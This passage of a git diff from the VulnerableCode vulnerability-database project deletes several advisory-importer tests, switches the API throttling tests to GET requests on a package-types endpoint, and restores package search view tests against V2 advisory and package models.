equal": ">="} - parsed_oval = OvalParser(translations, xml_doc) - - # Get total number of definitions - assert len(parsed_oval.all_definitions) == 1 - - # Get definition `id`: the `` element. - definition_1 = parsed_oval.all_definitions[0] - assert parsed_oval.all_definitions[0].getId() == "oval:org.opensuse.security:def:2009030400" - - # Get definition `test_ref`: the `` element. - definition_1_test_ids = { - "oval:org.opensuse.security:tst:2009030400", - } - assert definition_1_test_ids == { - i.getId() for i in parsed_oval.get_tests_of_definition(definition_1) - } - - # Get vuln_id from definition - vuln_id_1 = ["CVE-2008-5679"] - assert vuln_id_1 == parsed_oval.get_vuln_id_from_definition(definition_1) - - # Get total number of tests - assert len(parsed_oval.oval_document.getTests()) == 4 - - # Get test object and test state - test_1 = parsed_oval.oval_document.getTests()[0] - obj_t1, state_t1 = parsed_oval.get_object_state_of_test(test_1) - assert obj_t1.getId() == "oval:org.opensuse.security:obj:2009030400" - assert state_t1.getId() == "oval:org.opensuse.security:ste:2009030400" - - # Get total number of packages: `rpminfo_object` elements - assert len(parsed_oval.oval_document.getObjects()) == 2 - - # Get packages - obj_t1 = parsed_oval.oval_document.getObjects()[0] - obj_t2 = parsed_oval.oval_document.getObjects()[1] - - pkg_set1 = set(parsed_oval.get_pkgs_from_obj(obj_t1)) - pkg_set2 = set(parsed_oval.get_pkgs_from_obj(obj_t2)) - - assert pkg_set1 == {"opera"} - assert pkg_set2 == {"openSUSE-release"} - - # Get total number of versions: `rpminfo_state` elements - assert len(parsed_oval.oval_document.getStates()) == 4 - - # Get versions - state_1 = parsed_oval.oval_document.getStates()[0] - - exp_range_1 = "<9.63-1.1" - - assert parsed_oval.get_version_range_from_state(state_1) == exp_range_1 - - # Get reference URLs: `ref_url` attribute from `reference` elements - definition_0 = parsed_oval.all_definitions[0] - def0_urls = { - "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5679", - } - - assert def0_urls == parsed_oval.get_urls_from_definition(definition_0) - - -def test_filter_suse_gz_files(): - initial_suse_gz_files = [ - "https://ftp.suse.com/pub/projects/security/oval/suse.openstack.cloud.7-affected.xml.gz", - "https://ftp.suse.com/pub/projects/security/oval/suse.openstack.cloud.7-patch.xml.gz", - "https://ftp.suse.com/pub/projects/security/oval/suse.openstack.cloud.7.xml.gz", - "https://ftp.suse.com/pub/projects/security/oval/suse.openstack.cloud.8-affected.xml.gz", - "https://ftp.suse.com/pub/projects/security/oval/suse.openstack.cloud.8-patch.xml.gz", - "https://ftp.suse.com/pub/projects/security/oval/suse.openstack.cloud.8.xml.gz", - "https://ftp.suse.com/pub/projects/security/oval/suse.openstack.cloud.9-affected.xml.gz", - "https://ftp.suse.com/pub/projects/security/oval/suse.openstack.cloud.9-patch.xml.gz", - "https://ftp.suse.com/pub/projects/security/oval/suse.openstack.cloud.9.xml.gz", - "https://ftp.suse.com/pub/projects/security/oval/suse.storage.6-affected.xml.gz", - "https://ftp.suse.com/pub/projects/security/oval/suse.storage.6-patch.xml.gz", - "https://ftp.suse.com/pub/projects/security/oval/suse.storage.6.xml.gz", - "https://ftp.suse.com/pub/projects/security/oval/suse.storage.7-affected.xml.gz", - "https://ftp.suse.com/pub/projects/security/oval/suse.storage.7-patch.xml.gz", - "https://ftp.suse.com/pub/projects/security/oval/suse.storage.7.xml.gz", - ] - - filtered_initial_suse_gz_files = [ - "https://ftp.suse.com/pub/projects/security/oval/suse.openstack.cloud.7-affected.xml.gz", - "https://ftp.suse.com/pub/projects/security/oval/suse.openstack.cloud.7-patch.xml.gz", - "https://ftp.suse.com/pub/projects/security/oval/suse.openstack.cloud.8-affected.xml.gz", - "https://ftp.suse.com/pub/projects/security/oval/suse.openstack.cloud.8-patch.xml.gz", - "https://ftp.suse.com/pub/projects/security/oval/suse.openstack.cloud.9-affected.xml.gz", - "https://ftp.suse.com/pub/projects/security/oval/suse.openstack.cloud.9-patch.xml.gz", - "https://ftp.suse.com/pub/projects/security/oval/suse.storage.6-affected.xml.gz", - "https://ftp.suse.com/pub/projects/security/oval/suse.storage.6-patch.xml.gz", - "https://ftp.suse.com/pub/projects/security/oval/suse.storage.7-affected.xml.gz", - "https://ftp.suse.com/pub/projects/security/oval/suse.storage.7-patch.xml.gz", - ] - - assert filter(initial_suse_gz_files) == filtered_initial_suse_gz_files - - -def test_cve_prefix_filter(): - xml_doc = ET.parse(os.path.join(TEST_DATA, "mock-definitions-only.xml")) - translations = {"less than": "<", "equals": "=", "greater than or equal": ">="} - parsed_oval = OvalParser(translations, xml_doc) - - assert len(parsed_oval.all_definitions) == 3 - - definition_1 = parsed_oval.all_definitions[0] - - vuln_id_1 = ["CVE-2008-5679"] - assert vuln_id_1 == parsed_oval.get_vuln_id_from_definition(definition_1) - - definition_2 = parsed_oval.all_definitions[1] - - vuln_id_2 = ["CVE-1234-5678"] - assert vuln_id_2 == parsed_oval.get_vuln_id_from_definition(definition_2) - - definition_3 = parsed_oval.all_definitions[2] - - vuln_id_3 = ["CVE-1111-2222"] - assert vuln_id_3 == parsed_oval.get_vuln_id_from_definition(definition_3) diff --git a/vulnerabilities/tests/test_suse_scores.py b/vulnerabilities/tests/test_suse_scores.py deleted file mode 100644 index 96a5d0d07..000000000 --- a/vulnerabilities/tests/test_suse_scores.py +++ /dev/null @@ -1,25 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# - -import os - -from vulnerabilities.importers.suse_scores import SUSESeverityScoreImporter -from vulnerabilities.tests import util_tests -from vulnerabilities.utils import load_yaml - -BASE_DIR = os.path.dirname(os.path.abspath(__file__)) -TEST_DIR = os.path.join(BASE_DIR, "test_data/suse_scores") - - -def test_suse_score_import(): - raw_data = load_yaml(os.path.join(TEST_DIR, "suse-cvss-scores.yaml")) - expected_file = os.path.join(TEST_DIR, "suse-cvss-scores-expected.json") - advisories = list(SUSESeverityScoreImporter().to_advisory(raw_data)) - expected_advisories = [adv.to_dict() for adv in advisories] - util_tests.check_results_against_json(expected_advisories, expected_file) diff --git a/vulnerabilities/tests/test_throttling.py b/vulnerabilities/tests/test_throttling.py index 225169e44..3d414fcd8 100644 --- a/vulnerabilities/tests/test_throttling.py +++ b/vulnerabilities/tests/test_throttling.py @@ -16,8 +16,11 @@ from rest_framework.test import APIClient from rest_framework.test import APITestCase -from vulnerabilities.api import PermissionBasedUserRateThrottle from vulnerabilities.models import ApiUser +from vulnerabilities.throttling import PermissionBasedUserRateThrottle + +PACKAGE_TYPES_URL = "/api/v3/package-types" +PACKAGES_URL = "/api/v3/packages" def simulate_throttle_usage(url, client, mock_use_count): @@ -93,128 +96,122 @@ def setUp(self): def test_user_with_low_perm_throttling(self): simulate_throttle_usage( - url="/api/v3/packages", + url=PACKAGE_TYPES_URL, client=self.th_low_user_csrf_client, mock_use_count=19, ) - response = self.th_low_user_csrf_client.post( - "/api/v3/packages", HTTP_USER_AGENT="VCIO_API_AGENT", data={"purls": []}, format="json" + response = self.th_low_user_csrf_client.get( + PACKAGE_TYPES_URL, HTTP_USER_AGENT="VCIO_API_AGENT" ) self.assertEqual(response.status_code, status.HTTP_200_OK) # exhausted 20/minute allowed requests. - response = self.th_low_user_csrf_client.post( - "/api/v3/packages", HTTP_USER_AGENT="VCIO_API_AGENT", data={"purls": []}, format="json" + response = self.th_low_user_csrf_client.get( + PACKAGE_TYPES_URL, HTTP_USER_AGENT="VCIO_API_AGENT" ) self.assertEqual(response.status_code, status.HTTP_429_TOO_MANY_REQUESTS) def test_basic_user_throttling(self): simulate_throttle_usage( - url="/api/v3/packages", + url=PACKAGE_TYPES_URL, client=self.basic_user_csrf_client, mock_use_count=29, ) - response = self.basic_user_csrf_client.post( - "/api/v3/packages", HTTP_USER_AGENT="VCIO_API_AGENT", data={"purls": []}, format="json" + response = self.basic_user_csrf_client.get( + PACKAGE_TYPES_URL, HTTP_USER_AGENT="VCIO_API_AGENT" ) self.assertEqual(response.status_code, status.HTTP_200_OK) # exhausted 30/minute allowed requests. - response = self.basic_user_csrf_client.post( - "/api/v3/packages", HTTP_USER_AGENT="VCIO_API_AGENT", data={"purls": []}, format="json" + response = self.basic_user_csrf_client.get( + PACKAGE_TYPES_URL, HTTP_USER_AGENT="VCIO_API_AGENT" ) self.assertEqual(response.status_code, status.HTTP_429_TOO_MANY_REQUESTS) def test_user_with_medium_perm_throttling(self): simulate_throttle_usage( - url="/api/v3/packages", + url=PACKAGE_TYPES_URL, client=self.th_medium_user_csrf_client, mock_use_count=29, ) - response = self.th_medium_user_csrf_client.post( - "/api/v3/packages", HTTP_USER_AGENT="VCIO_API_AGENT", data={"purls": []}, format="json" + response = self.th_medium_user_csrf_client.get( + PACKAGE_TYPES_URL, HTTP_USER_AGENT="VCIO_API_AGENT" ) print(response.json()) self.assertEqual(response.status_code, status.HTTP_200_OK) # exhausted 30/minute allowed requests for user with 14400 perm. - response = self.th_medium_user_csrf_client.post( - "/api/v3/packages", HTTP_USER_AGENT="VCIO_API_AGENT", data={"purls": []}, format="json" + response = self.th_medium_user_csrf_client.get( + PACKAGE_TYPES_URL, HTTP_USER_AGENT="VCIO_API_AGENT" ) self.assertEqual(response.status_code, status.HTTP_429_TOO_MANY_REQUESTS) def test_user_with_high_perm_throttling(self): simulate_throttle_usage( - url="/api/v3/packages", + url=PACKAGE_TYPES_URL, client=self.th_high_user_csrf_client, mock_use_count=0, ) - response = self.th_high_user_csrf_client.post( - "/api/v3/packages", HTTP_USER_AGENT="VCIO_API_AGENT", data={"purls": []}, format="json" + response = self.th_high_user_csrf_client.get( + PACKAGE_TYPES_URL, HTTP_USER_AGENT="VCIO_API_AGENT" ) self.assertEqual(response.status_code, status.HTTP_200_OK) # exhausted 18000/hr allowed requests for user with 18000 perm. - response = self.th_high_user_csrf_client.post( - "/api/v3/packages", HTTP_USER_AGENT="VCIO_API_AGENT", data={"purls": []}, format="json" + response = self.th_high_user_csrf_client.get( + PACKAGE_TYPES_URL, HTTP_USER_AGENT="VCIO_API_AGENT" ) self.assertEqual(response.status_code, status.HTTP_429_TOO_MANY_REQUESTS) def test_user_with_unrestricted_perm_throttling(self): simulate_throttle_usage( - url="/api/v3/packages", + url=PACKAGE_TYPES_URL, client=self.th_unrestricted_user_csrf_client, mock_use_count=20000, ) # no throttling for user with unrestricted perm. - response = self.th_unrestricted_user_csrf_client.post( - "/api/v3/packages", HTTP_USER_AGENT="VCIO_API_AGENT", data={"purls": []}, format="json" + response = self.th_unrestricted_user_csrf_client.get( + PACKAGE_TYPES_URL, HTTP_USER_AGENT="VCIO_API_AGENT" ) self.assertEqual(response.status_code, status.HTTP_200_OK) def test_user_in_group_with_unrestricted_perm_throttling(self): simulate_throttle_usage( - url="/api/v3/packages", + url=PACKAGE_TYPES_URL, client=self.th_group_user_csrf_client, mock_use_count=20000, ) # no throttling for user in group with unrestricted perm. - response = self.th_group_user_csrf_client.post( - "/api/v3/packages", HTTP_USER_AGENT="VCIO_API_AGENT", data={"purls": []}, format="json" + response = self.th_group_user_csrf_client.get( + PACKAGE_TYPES_URL, HTTP_USER_AGENT="VCIO_API_AGENT" ) self.assertEqual(response.status_code, status.HTTP_200_OK) def test_anon_throttling(self): simulate_throttle_usage( - url="/api/v3/packages", + url=PACKAGE_TYPES_URL, client=self.csrf_client_anon, mock_use_count=9, ) - response = self.csrf_client_anon.post( - "/api/v3/packages", HTTP_USER_AGENT="VCIO_API_AGENT", format="json", data={"purls": []} - ) + response = self.csrf_client_anon.get(PACKAGE_TYPES_URL, HTTP_USER_AGENT="VCIO_API_AGENT") self.assertEqual(response.status_code, status.HTTP_200_OK) - # exhausted 3600/hr allowed requests for anon. - response = self.csrf_client_anon.post( - "/api/v3/packages", HTTP_USER_AGENT="VCIO_API_AGENT", format="json", data={"purls": []} - ) + # exhausted allowed requests for anon. + response = self.csrf_client_anon.get(PACKAGE_TYPES_URL, HTTP_USER_AGENT="VCIO_API_AGENT") self.assertEqual(response.status_code, status.HTTP_429_TOO_MANY_REQUESTS) self.assertEqual( response.data.get("message"), "Your request has been throttled. Please contact support@nexb.com", ) - response = self.csrf_client_anon.post( - "/api/v3/packages", HTTP_USER_AGENT="VCIO_API_AGENT", format="json", data={"purls": []} - ) + response = self.csrf_client_anon.get("/api/v3/advisories", HTTP_USER_AGENT="VCIO_API_AGENT") # 429 - too many requests for anon user self.assertEqual(response.status_code, status.HTTP_429_TOO_MANY_REQUESTS) self.assertEqual( @@ -225,7 +222,7 @@ def test_anon_throttling(self): data = json.dumps({"purls": ["pkg:foo/bar"]}) response = self.csrf_client_anon.post( - "/api/v3/packages", + PACKAGES_URL, data=data, content_type="application/json", HTTP_USER_AGENT="VCIO_API_AGENT", diff --git a/vulnerabilities/tests/test_ubuntu_usn.py b/vulnerabilities/tests/test_ubuntu_usn.py deleted file mode 100644 index d28d036b7..000000000 --- a/vulnerabilities/tests/test_ubuntu_usn.py +++ /dev/null @@ -1,37 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# - -import bz2 -import json -import os -from collections import OrderedDict -from unittest import TestCase -from unittest.mock import MagicMock -from unittest.mock import patch - -from packageurl import PackageURL - -from vulnerabilities.importer import AdvisoryData -from vulnerabilities.importer import Reference -from vulnerabilities.importers.ubuntu_usn import UbuntuUSNImporter -from vulnerabilities.tests import util_tests - -BASE_DIR = os.path.dirname(os.path.abspath(__file__)) -TEST_DIR = os.path.join(BASE_DIR, "test_data", "ubuntu_usn_db") - - -def test_ubuntu_usn(): - database = os.path.join(TEST_DIR, "database-all.json.bz2") - with open(database, "rb") as f: - raw_data = f.read() - db = json.loads(bz2.decompress(raw_data)) - advisories = UbuntuUSNImporter().to_advisories(db) - expected_file = os.path.join(TEST_DIR, f"ubuntu-usn-expected.json") - result = [data.to_dict() for data in list(advisories)] - util_tests.check_results_against_json(result, expected_file) diff --git a/vulnerabilities/tests/test_upstream.py b/vulnerabilities/tests/test_upstream.py deleted file mode 100644 index 71b6d86af..000000000 --- a/vulnerabilities/tests/test_upstream.py +++ /dev/null @@ -1,31 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# - -import pytest - -from vulnerabilities.importers import IMPORTERS_REGISTRY - - -@pytest.mark.webtest -@pytest.mark.parametrize( - ("importer_name", "importer_class"), - IMPORTERS_REGISTRY.items(), -) -def test_updated_advisories(importer_name, importer_class): - # FIXME: why are we doing this? - if importer_name.endswith("GitHubAPIImporterPipeline"): - return - - advisory_datas = importer_class().advisory_data() - for advisory_data in advisory_datas: - # stop after a single import - break - - # check that we have at least one advisory_data - assert advisory_data.to_dict() diff --git a/vulnerabilities/tests/test_view.py b/vulnerabilities/tests/test_view.py index bcee104ac..7f3f789f6 100644 --- a/vulnerabilities/tests/test_view.py +++ b/vulnerabilities/tests/test_view.py @@ -15,143 +15,169 @@ from django.test import Client from django.test import TestCase from django.urls import reverse +from django.utils import timezone from packageurl import PackageURL from univers import versions -from vulnerabilities.models import AffectedByPackageRelatedVulnerability -from vulnerabilities.models import Alias -from vulnerabilities.models import FixingPackageRelatedVulnerability -from vulnerabilities.models import Package -from vulnerabilities.models import PackageV2 -from vulnerabilities.models import Vulnerability -from vulnerabilities.models import VulnerabilitySeverity +from vulnerabilities.models import AdvisoryV2 +from vulnerabilities.models import ImpactedPackage +from vulnerabilities.models import PackageV2 as Package from vulnerabilities.templatetags.url_filters import url_quote_filter from vulnerabilities.utils import get_purl_version_class -from vulnerabilities.views import PackageDetails -from vulnerabilities.views import PackageSearch +from vulnerabilities.views import PackageSearchV2 as PackageSearch +from vulnerabilities.views import PackageV2Details as PackageDetails BASE_DIR = os.path.dirname(os.path.abspath(__file__)) TEST_DIR = os.path.join(BASE_DIR, "test_data/package_sort") -# class PackageSearchTestCase(TestCase): -# def setUp(self): -# self.client = Client() -# session = self.client.session -# session["altcha_verified_at"] = time.time() -# session.save() -# packages = [ -# "pkg:nginx/nginx@0.6.18", -# "pkg:nginx/nginx@1.20.0", -# "pkg:nginx/nginx@1.21.0", -# "pkg:nginx/nginx@1.20.1", -# "pkg:nginx/nginx@1.9.5", -# "pkg:nginx/nginx@1.17.2", -# "pkg:nginx/nginx@1.17.3", -# "pkg:nginx/nginx@1.16.1", -# "pkg:nginx/nginx@1.15.5", -# "pkg:nginx/nginx@1.15.6", -# "pkg:nginx/nginx@1.14.1", -# "pkg:nginx/nginx@1.0.7", -# "pkg:nginx/nginx@1.0.15", -# "pkg:nginx/nginx@1.0.15?foo=bar", -# "pkg:pypi/foo@1", -# ] -# self.packages = packages -# for package in packages: -# purl = PackageURL.from_string(package) -# attrs = {k: v for k, v in purl.to_dict().items() if v} -# Package.objects.create(**attrs) - -# def test_packages_search_view_paginator(self): -# response = self.client.get("/packages/search/?type=deb&name=&page=1") -# self.assertEqual(response.status_code, 200) -# response = self.client.get("/packages/search/?type=deb&name=&page=*") -# self.assertEqual(response.status_code, 404) -# response = self.client.get("/packages/search/?type=deb&name=&page=") -# self.assertEqual(response.status_code, 200) -# response = self.client.get("/packages/search/?type=&name=&page=") -# self.assertEqual(response.status_code, 200) - -# def test_package_view(self): -# qs = PackageSearch().get_queryset(query="pkg:nginx/nginx@1.0.15?foo=bar") -# pkgs = list(qs) -# self.assertEqual(len(pkgs), 2) -# self.assertEqual(pkgs[0].purl, "pkg:nginx/nginx@1.0.15") +class PackageSearchTestCase(TestCase): + def setUp(self): + self.client = Client() + session = self.client.session + session["altcha_verified_at"] = time.time() + session.save() + packages = [ + "pkg:nginx/nginx@0.6.18", + "pkg:nginx/nginx@1.20.0", + "pkg:nginx/nginx@1.21.0", + "pkg:nginx/nginx@1.20.1", + "pkg:nginx/nginx@1.9.5", + "pkg:nginx/nginx@1.17.2", + "pkg:nginx/nginx@1.17.3", + "pkg:nginx/nginx@1.16.1", + "pkg:nginx/nginx@1.15.5", + "pkg:nginx/nginx@1.15.6", + "pkg:nginx/nginx@1.14.1", + "pkg:nginx/nginx@1.0.7", + "pkg:nginx/nginx@1.0.15", + "pkg:nginx/nginx@1.0.15?foo=bar", + "pkg:pypi/foo@1", + ] + self.packages = packages + created_packages = [] + for package in packages: + purl = PackageURL.from_string(package) + attrs = {k: v for k, v in purl.to_dict().items() if v} + created_packages.append(Package.objects.create(**attrs)) + + # Populate version_rank so search ordering matches semantic version order. + for package in created_packages: + package.calculate_version_rank + + # PackageSearchV2 only returns packages linked to a latest unfurled advisory. + advisory = AdvisoryV2.objects.create( + advisory_id="TEST-ADV-1", + avid="test/TEST-ADV-1", + datasource_id="test", + pipeline_id="test_pipeline_v2", + unique_content_id="test-content-id-1", + url="https://example.com/advisory", + is_latest=True, + _all_impacts_unfurled_at=timezone.now(), + ) + impact = ImpactedPackage.objects.create( + advisory=advisory, + base_purl="pkg:nginx/nginx", + ) + impact.affecting_packages.add(*created_packages) + + def test_packages_search_view_paginator(self): + response = self.client.get("/packages/v2/search/?type=deb&name=&page=1") + self.assertEqual(response.status_code, 200) + response = self.client.get("/packages/v2/search/?type=deb&name=&page=*") + self.assertEqual(response.status_code, 404) + response = self.client.get("/packages/v2/search/?type=deb&name=&page=") + self.assertEqual(response.status_code, 200) + response = self.client.get("/packages/v2/search/?type=&name=&page=") + self.assertEqual(response.status_code, 200) + + def test_package_view(self): + qs = PackageSearch().get_queryset(query="pkg:nginx/nginx@1.0.15?foo=bar") + pkgs = list(qs) + self.assertEqual(len(pkgs), 2) + self.assertEqual( + {p.purl for p in pkgs}, + {"pkg:nginx/nginx@1.0.15", "pkg:nginx/nginx@1.0.15?foo=bar"}, + ) -# def test_package_detail_view(self): -# package = PackageDetails(kwargs={"purl": "pkg:nginx/nginx@1.0.15"}).get_object() -# assert package.purl == "pkg:nginx/nginx@1.0.15" + # def test_package_detail_view(self): + # package = PackageDetails(kwargs={"purl": "pkg:nginx/nginx@1.0.15"}).get_object() + # assert package.purl == "pkg:nginx/nginx@1.0.15" + + def test_package_view_with_purl_fragment(self): + qs = PackageSearch().get_queryset(query="nginx@1.0.15") + pkgs = list(qs) + self.assertEqual(len(pkgs), 2) + self.assertEqual( + {p.purl for p in pkgs}, + {"pkg:nginx/nginx@1.0.15", "pkg:nginx/nginx@1.0.15?foo=bar"}, + ) -# def test_package_view_with_purl_fragment(self): -# qs = PackageSearch().get_queryset(query="nginx@1.0.15") -# pkgs = list(qs) -# self.assertEqual(len(pkgs), 2) -# self.assertEqual(pkgs[0].purl, "pkg:nginx/nginx@1.0.15") -# self.assertEqual(pkgs[1].purl, "pkg:nginx/nginx@1.0.15?foo=bar") + def test_package_view_with_purl_fragment_2(self): + qs = PackageSearch().get_queryset(query="nginx/nginx") + pkgs = list(qs) + pkgs = [p.purl for p in pkgs] + # Ordered by -version_rank (newest first). + expected = [ + "pkg:nginx/nginx@1.21.0", + "pkg:nginx/nginx@1.20.1", + "pkg:nginx/nginx@1.20.0", + "pkg:nginx/nginx@1.17.3", + "pkg:nginx/nginx@1.17.2", + "pkg:nginx/nginx@1.16.1", + "pkg:nginx/nginx@1.15.6", + "pkg:nginx/nginx@1.15.5", + "pkg:nginx/nginx@1.14.1", + "pkg:nginx/nginx@1.9.5", + "pkg:nginx/nginx@1.0.15?foo=bar", + "pkg:nginx/nginx@1.0.15", + "pkg:nginx/nginx@1.0.7", + "pkg:nginx/nginx@0.6.18", + ] + assert pkgs == expected + + def test_package_view_with_valid_purl_without_version(self): + qs = PackageSearch().get_queryset(query="pkg:nginx/nginx") + pkgs = list(qs) + pkgs = [p.purl for p in pkgs] + assert pkgs == [ + "pkg:nginx/nginx@1.21.0", + "pkg:nginx/nginx@1.20.1", + "pkg:nginx/nginx@1.20.0", + "pkg:nginx/nginx@1.17.3", + "pkg:nginx/nginx@1.17.2", + "pkg:nginx/nginx@1.16.1", + "pkg:nginx/nginx@1.15.6", + "pkg:nginx/nginx@1.15.5", + "pkg:nginx/nginx@1.14.1", + "pkg:nginx/nginx@1.9.5", + "pkg:nginx/nginx@1.0.15?foo=bar", + "pkg:nginx/nginx@1.0.15", + "pkg:nginx/nginx@1.0.7", + "pkg:nginx/nginx@0.6.18", + ] + + def test_package_view_with_valid_purl_and_incomplete_version(self): + qs = PackageSearch().get_queryset(query="pkg:nginx/nginx@1") + pkgs = list(qs) + pkgs = [p.purl for p in pkgs] + assert pkgs == [ + "pkg:nginx/nginx@1.21.0", + "pkg:nginx/nginx@1.20.1", + "pkg:nginx/nginx@1.20.0", + "pkg:nginx/nginx@1.17.3", + "pkg:nginx/nginx@1.17.2", + "pkg:nginx/nginx@1.16.1", + "pkg:nginx/nginx@1.15.6", + "pkg:nginx/nginx@1.15.5", + "pkg:nginx/nginx@1.14.1", + "pkg:nginx/nginx@1.9.5", + "pkg:nginx/nginx@1.0.15?foo=bar", + "pkg:nginx/nginx@1.0.15", + "pkg:nginx/nginx@1.0.7", + ] -# def test_package_view_with_purl_fragment_2(self): -# qs = PackageSearch().get_queryset(query="nginx/nginx") -# pkgs = list(qs) -# pkgs = [p.purl for p in pkgs] -# expected = [ -# "pkg:nginx/nginx@0.6.18", -# "pkg:nginx/nginx@1.0.15", -# "pkg:nginx/nginx@1.0.15?foo=bar", -# "pkg:nginx/nginx@1.0.7", -# "pkg:nginx/nginx@1.14.1", -# "pkg:nginx/nginx@1.15.5", -# "pkg:nginx/nginx@1.15.6", -# "pkg:nginx/nginx@1.16.1", -# "pkg:nginx/nginx@1.17.2", -# "pkg:nginx/nginx@1.17.3", -# "pkg:nginx/nginx@1.20.0", -# "pkg:nginx/nginx@1.20.1", -# "pkg:nginx/nginx@1.21.0", -# "pkg:nginx/nginx@1.9.5", -# ] -# assert pkgs == expected - -# def test_package_view_with_valid_purl_without_version(self): -# qs = PackageSearch().get_queryset(query="pkg:nginx/nginx") -# pkgs = list(qs) -# pkgs = [p.purl for p in pkgs] -# assert pkgs == [ -# "pkg:nginx/nginx@0.6.18", -# "pkg:nginx/nginx@1.0.15", -# "pkg:nginx/nginx@1.0.15?foo=bar", -# "pkg:nginx/nginx@1.0.7", -# "pkg:nginx/nginx@1.14.1", -# "pkg:nginx/nginx@1.15.5", -# "pkg:nginx/nginx@1.15.6", -# "pkg:nginx/nginx@1.16.1", -# "pkg:nginx/nginx@1.17.2", -# "pkg:nginx/nginx@1.17.3", -# "pkg:nginx/nginx@1.20.0", -# "pkg:nginx/nginx@1.20.1", -# "pkg:nginx/nginx@1.21.0", -# "pkg:nginx/nginx@1.9.5", -# ] - -# def test_package_view_with_valid_purl_and_incomplete_version(self): -# qs = PackageSearch().get_queryset(query="pkg:nginx/nginx@1") -# pkgs = list(qs) -# pkgs = [p.purl for p in pkgs] -# assert pkgs == [ -# "pkg:nginx/nginx@1.0.15", -# "pkg:nginx/nginx@1.0.15?foo=bar", -# "pkg:nginx/nginx@1.0.7", -# "pkg:nginx/nginx@1.14.1", -# "pkg:nginx/nginx@1.15.5", -# "pkg:nginx/nginx@1.15.6", -# "pkg:nginx/nginx@1.16.1", -# "pkg:nginx/nginx@1.17.2", -# "pkg:nginx/nginx@1.17.3", -# "pkg:nginx/nginx@1.20.0", -# "pkg:nginx/nginx@1.20.1", -# "pkg:nginx/nginx@1.21.0", -# "pkg:nginx/nginx@1.9.5", -# ] # def test_package_view_with_purl_type(self): # qs = PackageSearch().get_queryset(query="pkg:pypi") @@ -166,32 +192,6 @@ # assert pkgs == ["pkg:pypi/foo@1"] -# class VulnerabilitySearchTestCase(TestCase): -# def setUp(self): -# self.vulnerability = vulnerability = Vulnerability(summary="test") -# vulnerability.save() -# alias = Alias(alias="TEST-2022", vulnerability=vulnerability) -# alias.save() -# self.client = Client() -# session = self.client.session -# session["altcha_verified_at"] = time.time() -# session.save() - -# def test_vulnerabilties_search_view_with_vcid_works_and_pk_does_not(self): -# response = self.client.get(f"/vulnerabilities/{self.vulnerability.pk}") -# self.assertEqual(response.status_code, 404) -# response = self.client.get(f"/vulnerabilities/{self.vulnerability.vulnerability_id}") -# self.assertEqual(response.status_code, 200) - -# def test_vulnerabilties_search_view_with_empty(self): -# response = self.client.get(f"/vulnerabilities/search/") -# self.assertEqual(response.status_code, 200) - -# def test_vulnerabilties_search_view_can_find_alias(self): -# response = self.client.get(f"/vulnerabilities/search/?search=TEST-2022") -# self.assertEqual(response.status_code, 200) - - class CheckRobotsTxtTestCase(TestCase): def test_robots_txt(self): response = self.client.get("/robots.txt") @@ -288,66 +288,6 @@ def test_url_quote_filter(self, input_value, expected_output): assert filtered == expected_output -class VulnerabilitySearchTestCaseWithPackages(TestCase): - def setUp(self): - self.vuln1 = Vulnerability.objects.create(vulnerability_id="VCID-1", summary="Vuln 1") - self.vuln2 = Vulnerability.objects.create(vulnerability_id="VCID-2", summary="Vuln 2") - self.vuln3 = Vulnerability.objects.create(vulnerability_id="VCID-3", summary="Vuln 3") - self.vuln4 = Vulnerability.objects.create(vulnerability_id="VCID-4", summary="Vuln 4") - self.vuln5 = Vulnerability.objects.create(vulnerability_id="VCID-5", summary="Vuln 5") - - self.package1 = Package.objects.create(type="pypi", name="django", version="1.0.0") - self.package2 = Package.objects.create(type="pypi", name="django", version="2.0.0") - self.package3 = Package.objects.create(type="pypi", name="django", version="3.0.0") - - self.package4 = PackageV2.objects.create(type="pypi", name="django", version="1.0.0") - - AffectedByPackageRelatedVulnerability.objects.create( - package=self.package1, vulnerability=self.vuln1 - ) - AffectedByPackageRelatedVulnerability.objects.create( - package=self.package1, vulnerability=self.vuln2 - ) - AffectedByPackageRelatedVulnerability.objects.create( - package=self.package2, vulnerability=self.vuln3 - ) - AffectedByPackageRelatedVulnerability.objects.create( - package=self.package2, vulnerability=self.vuln4 - ) - - FixingPackageRelatedVulnerability.objects.create( - package=self.package3, vulnerability=self.vuln5 - ) - - self.severity1 = VulnerabilitySeverity.objects.create( - scoring_system="CVSSv3", - value="9.8", - scoring_elements="AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", - ) - self.severity2 = VulnerabilitySeverity.objects.create( - scoring_system="CVSSv3", - value="7.5", - scoring_elements="AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", - ) - - self.vuln1.severities.add(self.severity1) - self.vuln1.severities.add(self.severity2) - self.client = Client() - session = self.client.session - session["altcha_verified_at"] = time.time() - session.save() - self.vuln1.save() - - def test_aggregate_fixed_and_affected_packages(self): - with self.assertNumQueries(11): - start_time = time.time() - response = self.client.get(f"/packages/v2/{self.package4.package_url}") - end_time = time.time() - # Increase time for ALTCHA verification - assert end_time - start_time < 0.06 - self.assertEqual(response.status_code, 200) - - class ThrottleTestCase(TestCase): def setUp(self): self.client = Client() diff --git a/vulnerabilities/tests/test_vulnerability_status_improver.py b/vulnerabilities/tests/test_vulnerability_status_improver.py deleted file mode 100644 index 6605d717c..000000000 --- a/vulnerabilities/tests/test_vulnerability_status_improver.py +++ /dev/null @@ -1,74 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See 